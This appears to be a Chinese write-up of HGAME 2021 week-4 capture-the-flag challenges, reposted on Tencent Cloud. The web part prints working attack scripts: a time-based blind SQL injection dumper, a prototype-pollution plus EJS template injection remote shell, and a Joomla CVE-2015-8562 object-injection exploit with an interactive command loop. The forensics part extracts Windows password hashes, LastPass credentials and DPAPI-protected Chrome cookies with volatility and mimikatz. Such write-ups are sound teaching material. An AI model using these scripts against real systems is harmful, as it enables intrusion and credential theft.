前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >hgame-week4-writeup

hgame-week4-writeup

作者头像
HomeboyC
发布2022-09-19 14:34:03
2790
发布2022-09-19 14:34:03
举报
文章被收录于专栏:宅男的天台宅男的天台

这周好困好困,每天醒来只能保持 3h 的精力,哎。题目卡住以后倒是把寒假计划中的其他事情摸完了。

Web

Unforgettable

这道题是截止前几个小时静下心来做的,本来都打算放掉这题去把我暑假计划的其他东西搞定

之前测试的时候发现我注册的账号很快就会失效(被删除)

初步怀疑是和 sql 注入有关,而且注入点应该和账号的信息有关

回过神来已经是 ddl 前几个小时了,开始尝试找注入点

先测试了用户名,发现有一些过滤:

空格、and、=、sleep、<、>、like、||、union

等号用 regexp 代替

空格用/**/代替

sleep 用 benchmark 代替

然后试了这个用户名:

代码语言:javascript
复制
1'/**/#

在首页中是这样

image-20210227160621974
image-20210227160621974

但是进入/user后是这样:

image-20210227160706599
image-20210227160706599

说明 sql 语句在 /user 页面执行了

然后就是盲注

有好些细节还不太懂,问了liki,然后写了程序

代码语言:javascript
复制
import httpx
from bs4 import BeautifulSoup
import time

session = httpx.Client(proxies={'all://':None})

def tryPayload(payload):
    username = payload
    username = username.replace(' ', '/**/')
    print(username)
    r = session.get('https://unforgettable.liki.link/register')
    csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
    email = str(int(time.time())) + '@qq.com'
    password = str(int(time.time()))
    registerData = {'csrf_token':csrf_token,
                    'username':username,
                    'email':email,
                    'password':password,
                    'submit':'注册'}
    # print(registerData)
    r = session.post('https://unforgettable.liki.link/register',data=registerData)
    result = BeautifulSoup(r,'lxml').find('div',class_='alert').contents[2]
    print(result)
    if 'You have registered!' in result:
        r = session.get('https://unforgettable.liki.link/login')
        csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
        loginData = {'csrf_token':csrf_token,
                    'email':email,
                    'password':password,
                    'submit':'登录'}
        session.post('https://unforgettable.liki.link/login',data=loginData)
        r = session.get('https://unforgettable.liki.link/user',timeout=600,allow_redirects=False)
        # 这个不允许跳转真的太太太重要了
        print(r.elapsed.total_seconds())
        return r.elapsed.total_seconds()

def getOutput(shell):
    # 获取返回结果的长度
    outputLength = 1
    while 1:
        temp = ''
        for _ in range(outputLength):
            temp += '.'
        payload = "1'&& if(({}) regexp '^{}',0,benchmark(5000000,sha2('a',256)))#{}".format(shell, temp, str(int(time.time())))
        if tryPayload(payload) < 1.5:
            outputLength += 1
        else:
            break
    print(outputLength)

    # 获取返回的结果
    output = ''
    wordList = '_,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 @$~'
    for _ in range(outputLength-1): # 末尾是"\0"所以少读一位就够了
        for i in range(len(wordList)):
            temp = output
            temp += wordList[i]
            payload = "1'&& if(({}) regexp '^{}',benchmark(5000000,sha2('a',256)),0)#{}".format(shell, temp, str(int(time.time())))
            if tryPayload(payload) > 1.5:
                output += wordList[i]
                break
    print(output)
    return output

# 数据库名
DBName = getOutput('database()')
# DBName = 'todolist'
print(DBName)
# 表名
tableNames = getOutput("select group_concat(table_name) from information_schema.tables where table_schema in ('{}')".format(DBName))
# tableNames = 'ffflllaagggg,todolist,user'
print(tableNames)
tableName = tableNames[:tableNames.index(',')]
# 表字段
columnName = getOutput("select group_concat(column_name) from information_schema.columns where table_name in ('{}')".format(tableName))
# columnName = 'ffllllaaaagg'
print(columnName)
# 获取flag
flag = getOutput('select/**/{}/**/from/**/{}'.format(columnName, tableName))
# flag = '0rm_i5_th3_s0lu7ion'
print(flag)

hgame{0rm_i5_th3_s0lu7ion}

漫无止境的星期日

image-20210222032705759
image-20210222032705759

代码分析,判断存在原型链污染问题

image-20210222192634974
image-20210222192634974

本来 Post 的是表单数据,利用特性,可以 Post Json 上去,让服务器解析,结合资料:

深入理解 JavaScript Prototype 污染攻击

构建payload:

代码语言:javascript
复制
{"name": "test1", "discription": "test2", "__proto__": {"crying": true}}
image-20210222192953602
image-20210222192953602

发送后获得新 Cookie

成功进入 Wish 页面(这里大意了,挺早就构造了对的 Payload ,结果一直没有去 Wish 页面检查是否可以进入)

image-20210222193032465
image-20210222193032465

接下来就是考虑利用这个模板字符串的漏洞

image-20210222204132638
image-20210222204132638

然后写了程序测试了一下

image-20210222211809934
image-20210222211809934

成功执行语句

然后试了半天成功执行 shell 语句

代码语言:javascript
复制
<%- global.process.mainModule.require('child_process').execSync('ls') %>

然后贴程序:

代码语言:javascript
复制
import httpx
from bs4 import BeautifulSoup
session = httpx.Client(proxies={'all://':None})
while 1:
    payload = {'wishes': "<%- global.process.mainModule.require('child_process').execSync('"+input('payload:')+"') %>"}
    
    payload1 = {"name": "test3", "discription": "test2", "__proto__": {"crying": True}}
    r = session.post('http://macguffin.0727.site:5000/',json = payload1,allow_redirects=False)
    print(r.content)
    session.post('http://macguffin.0727.site:5000/wish', json = payload)
    r = session.get('http://macguffin.0727.site:5000/show')
    soup = BeautifulSoup(r,'lxml')
    print(soup.find('div', class_='wishes'))

然后开始翻目录

image-20210222222822841
image-20210222222822841
image-20210222222848828
image-20210222222848828

hgame{nOdeJs_Prot0type_ls_fUnny&amp;Ejs_Templ@te_Injection}

中间有特殊符号

索性就这样拿

代码语言:javascript
复制
cat ../../../flag|base64

hgame{nOdeJs_Prot0type_ls_fUnny&Ejs_Templ@te_Injection}

当然 你也能这样拿:

代码语言:javascript
复制
cat ../../../flag|md5sum

(狗头保命)

joomlaJoomla!!!!!

因为各种奇奇怪怪的原因,跑去用 kali 了。

按照下面的代码安装 msfconsole

代码语言:javascript
复制
sudo systemctl enable --now postgresql
sudo gem install bundler -v 2.2.4
sudo msfdb reinit
sudo msfconsole

使用 msfconsole 中的 joomla_version 程序分析 joomla 版本

代码语言:javascript
复制
sudo msfconsole
search joomla
use auxiliary/scanner/http/joomla_version
set RHOSTS 0300ccc44c.joomla.r4u.top
set RPORT 6788
run
image-20210225132817110
image-20210225132817110

可以看出网站程序版本是 3.4.5

下载 Joomla 3.4.5 和题目提供的网站程序进行比较

image-20210226055049296
image-20210226055049296
image-20210226055112892
image-20210226055112892

可以看出这里有一个过滤”|“的操作,针对CVE-2015-8562做的防护

不过这个应该双写||就能绕过,毕竟只替换一次。

image-20210226194731011
image-20210226194731011

然后就是看看大佬们的脚本

然后面向 Ctrl-C+V 编程,加入自己需要的一些东西

(这里因为print一次打印的字符有限,在测试的时候直接将文本输出到了文件中查看,然后再修改程序)

程序:

代码语言:javascript
复制
import requests
def conversor(data):
    # 将命令转换一下
    converted_cmd = ""
    for char in data:
        converted_cmd += "chr({0}).".format(ord(char))
    return converted_cmd[:-1]

def build_payload(rce_payload):
    rce_payload = "eval({0})".format(conversor(rce_payload))
    end = '\xf0\xfd\xfd\xfd' # 截断操作 仿照wordpress的xss
    payload = r'''}__test||O:21:"JDatabaseDriverMysqli":'''\
                r'''3:{s:2:"fc";O:17:"JSimplepieFactory":'''\
                r'''0:{}s:21:"\0\0\0disconnectHandlers";'''\
                r'''a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{'''\
                r'''s:8:"sanitize";O:20:"JDatabaseDriverMysql":'''\
                r'''0:{}s:8:"feed_url";'''
    payload_field = "{0};JFactory::getConfig();exit".format(rce_payload)
    payload += r'''s:{0}:"{1}"'''.format(str(len(payload_field)),
                                            payload_field)
    payload += r''';s:19:"cache_name_function";s:6:"assert";'''\
                r'''s:5:"cache";b:1;s:11:"cache_class";O:20:'''\
                r'''"JDatabaseDriverMysql":0:{}}i:1;s:4:'''\
                r'''"init";}}s:13:"\0\0\0connection";b:1;}''' + end
    return payload

def get_url(url, ua):
    headers={'User-Agent': ua}
    session = requests.session()
    r = session.get(url, headers=headers)
    for _ in range(3):
        r = session.get(url, headers=headers)
    return r

while 1:
    payload = 'system(\'' + input('$') + '\');'
    r = get_url('http://0300ccc44c.joomla.r4u.top:6788/',build_payload(payload))
    print(r.content.decode()[r.content.decode().index('</html>')+8:r.content.decode().index('<b>Warning</b>:  assert():')-8])

运行程序然后直接输入命令即可

image-20210226195518314
image-20210226195518314

hgame{WelCoME~TO-ThIs_Re4Lw0RLD}

MISC

Akira之瞳-1

判断内存镜像的操作系统

代码语言:javascript
复制
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw imageinfo
image-20210221012544307
image-20210221012544307

列出进程列表

代码语言:javascript
复制
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw --profile=Win7SP1x64_23418 pslist
image-20210221012728466
image-20210221012728466
image-20210221013433598
image-20210221013433598

发现可疑程序

导出内存

代码语言:javascript
复制
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw --profile=Win7SP1x64_23418 memdump -p 1092 --dump-dir=./

使用 foremost 分析内存数据

代码语言:javascript
复制
foremost 1092.dmp

得到一个 zip 文件

image-20210221013919488
image-20210221013919488

压缩包加密了,但是给出了提示

image-20210221014003387
image-20210221014003387

查询系统登录密码

代码语言:javascript
复制
.\volatility_2.6_win64_standalone.exe -f .\important_work.raw --profile=Win7SP1x64_23418 hashdump
image-20210221020248778
image-20210221020248778
img
img

所以把 nt-hash 直接丢到 cmd5 里解密 可以得到密码

image-20210221020410030
image-20210221020410030

将获得的密码 sha256 加密后得到:

20504cdfddaad0b590ca53c4861edd4f5f5cf9c348c38295bd2dbf0e91bca4c3

解压文件

拿到两张照片

image-20210221020554217
image-20210221020554217

使用 BlindWaterMark 解盲水印

image-20210221092056314
image-20210221092056314

然后拿着小拳拳去找出题人问

获得flag

hgame{7he_f1ame_brin9s_me_end1ess_9rief}

噪点不是亿点点的多

Akira之瞳-2

代码语言:javascript
复制
wget https://bootstrap.pypa.io/2.6/get-pip.py
sudo python2 get-pip.py
sudo pip2 install --upgrade pip
sudo pip2 install --upgrade setuptools
sudo apt install python-dev
sudo pip2 install pycrypto
sudo pip2 install distorm3
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
python setup.py install

然后就是标准操作:

代码语言:javascript
复制
vol.py -f secret_work.raw imageinfo
vol.py -f secret_work.raw --profile=Win7SP1x64_23418 filescan 

但是内存中有大量的文件,根本看不过来

盲猜需要的文件名中含有 “dump”

使用 grep 筛选:

代码语言:javascript
复制
vol.py -f secret_work.raw --profile=Win7SP1x64_23418 filescan|grep "dump"
image-20210223103743544
image-20210223103743544

导出文件

代码语言:javascript
复制
vol.py -f secret_work.raw --profile=Win7SP1x64_23418 dumpfiles -Q 0x000000007ef94820 -D ./
image-20210223105628915
image-20210223105628915

打开后

image-20210223105707279
image-20210223105707279
代码语言:javascript
复制
zip password is: 5trqES&P43#y&1TO
And you may need LastPass

解压 secret.7z 后,得到:

image-20210223105850550
image-20210223105850550

根据 txt 的提示,接下来的任务和LastPass有关

查阅相关文章,顺便翻了一下去年的WP

https://www.freebuf.com/articles/system/117553.html

https://www.ghettoforensics.com/2013/10/dumping-malware-configuration-data-from.html

https://github.com/kevthehermit/volatility_plugins/tree/master/lastpass

代码语言:javascript
复制
sudo pip2 install yara-python

然后尝试:

代码语言:javascript
复制
vol.py --plugins=/home/atom/volatility_plugins/lastpass -f secret_work.raw --profile=Win7SP1x64_23418 lastpass
image-20210223144443275
image-20210223144443275

获得一个登录密码

UserName: windows login & miscrosoft Pasword: vIg*q3x6GFa5aFBA

资料解那个 Chrome 的 Cookies 文件

修改文件夹选项,把这个勾勾点掉,就可以看到 S-1-5-21-262715442-3761430816-2198621988-1001 文件夹下的文件

image-20210224090218279
image-20210224090218279
image-20210224090537759
image-20210224090537759

使用 mimikatz 计算 master key (这里傻乎乎卡了半天,最后问了 Akira 才知道那个文件是隐藏的)

代码语言:javascript
复制
dpapi::masterkey /in:"D:\hgame\week4\secret_work_bd40aea1c133a4d6422925deccb139e9\secret\S-1-5-21-262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6" /sid:S-1-5-21-262715442-3761430816-2198621988-1001 /password:vIg*q3x6GFa5aFBA
image-20210224090717687
image-20210224090717687

master key:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57

然后解 Cookies :

代码语言:javascript
复制
dpapi::chrome /in:"D:\hgame\week4\secret_work_bd40aea1c133a4d6422925deccb139e9\secret\Cookies" /masterkey:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57

Host : localhost ( / ) Name : VeraCrypt Dates : 2021/2/19 14:08:59 -> 2022/2/19 14:00:00

  • volatile cache: GUID:{57935170-beab-4565-ba79-2b09570b95a6};KeyHash:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57;Key:available
  • masterkey : 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57 Cookie: !bWjAqM2z!iSoJsV*&IRV@*AVI1VrtAb

和去年一样使用 VeraCrypt 加载加密卷

image-20210224093220148
image-20210224093220148

打开加密卷

image-20210224093513487
image-20210224093513487

根据图片文件名的提醒,这一步是要解NTFS交换数据流隐写

由于懒得装其他软件,直接盲猜flag所在位置

代码语言:javascript
复制
notepad.exe ADS.jpg:flag.txt
image-20210224094931788
image-20210224094931788

hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}

PS. yara 是一个包 yara-python是一个包 yara-ctypes 又是一个包,最开始我装的是yara,结果。。。

image-20210223142959478
image-20210223142959478

嗯 孩子走的很安详 解决方案

Back to posts

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • Unforgettable
      • 漫无止境的星期日
        • joomlaJoomla!!!!!
        • MISC
          • Akira之瞳-1
            • Akira之瞳-2
            相关产品与服务
            腾讯云代码分析
            腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档